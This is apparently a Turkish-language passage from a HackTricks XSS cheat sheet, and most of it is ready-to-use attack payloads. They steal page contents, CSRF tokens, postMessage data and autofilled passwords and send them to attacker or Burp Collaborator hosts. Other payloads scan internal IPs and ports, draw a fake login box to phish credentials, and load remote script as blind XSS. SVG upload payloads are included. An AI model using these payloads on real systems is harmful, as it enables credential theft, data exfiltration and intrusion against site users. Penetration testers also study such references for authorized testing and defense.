{% hint style="info" %} Eğer çerezde HTTPOnly bayrağı ayarlanmışsa, JavaScript'ten çerezlere erişemezsiniz. Ama şanslıysanız, bu korumayı atlatmanın bazı yollarına sahip olabilirsiniz. {% endhint %}

Sayfa İçeriğini Çalma

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Dahili IP'leri Bulma

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Port Tarayıcı (getir)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Tarayıcı (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kısa süreler yanıt veren bir limanı gösterir Daha uzun süreler yanıt vermediğini gösterir.

Chrome'da yasaklanan limanların listesini buradan ve Firefox'ta buradan inceleyin.

Kimlik bilgilerini sormak için kutu

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Otomatik doldurma şifreleri yakalama

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Keylogger

Sadece github'da arama yaparak birkaç farklı tane buldum:

CSRF tokenlarını çalma

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage mesajlarını çalma

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Servis İşçilerini Kötüye Kullanma

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Shadow DOM'a Erişim

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

Çok Dilli Kodlar

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Kör XSS yükleri

Ayrıca şunu da kullanabilirsiniz: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Gizli İçeriğe Erişim

Bu yazıda belirtildiğine göre, bazı değerler JS'den kaybolmuş olsa bile, bu değerlerin farklı nesnelerdeki JS özniteliklerinde bulunması mümkündür. Örneğin, bir REGEX girişinin değeri kaldırıldıktan sonra bile hala bulunabilir:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Kaba Kuvvet Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

Diğer zafiyetleri Kullanan XSS

Markdown'da XSS

Markdown kodu enjekte edebilir mi? Belki XSS alabilirsiniz! Kontrol edin:

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS'ten SSRF'e

Önbellek kullanan bir site üzerinde XSS mi var? Bu payload ile Edge Side Include Injection aracılığıyla SSRF'ye yükseltmeyi deneyin:

<esi:include src="http://yoursite.com/capture" />

Cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını atlamak için kullanın!
Bu teknik hakkında daha fazla bilgi için buraya bakabilirsiniz: XSLT.

Dinamik oluşturulan PDF içinde XSS

Bir web sayfası, kullanıcı tarafından kontrol edilen girişleri kullanarak bir PDF oluşturuyorsa, PDF oluşturan botu kandırmayı deneyebilir ve keyfi JS kodunu yürütmesini sağlayabilirsiniz.
Bu nedenle, eğer PDF oluşturan bot, bir tür HTML etiketi bulursa, onları yorumlayacak ve bu davranışı kötüye kullanarak bir Sunucu XSS oluşturabilirsiniz.

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

Eğer HTML etiketleri enjekte edemiyorsanız, PDF verilerini enjekte etmeye değer olabilir:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

Dosya yükleme sırasında XSS (svg)

Aşağıdaki gibi bir dosyayı bir resim olarak yükleyin (şuradan: http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Daha fazla SVG yüklemelerini https://github.com/allanlw/svg-cheatsheet adresinde bulabilirsiniz.

Diğer JS Hileleri ve İlgili Bilgiler

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

XSS kaynakları

Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları: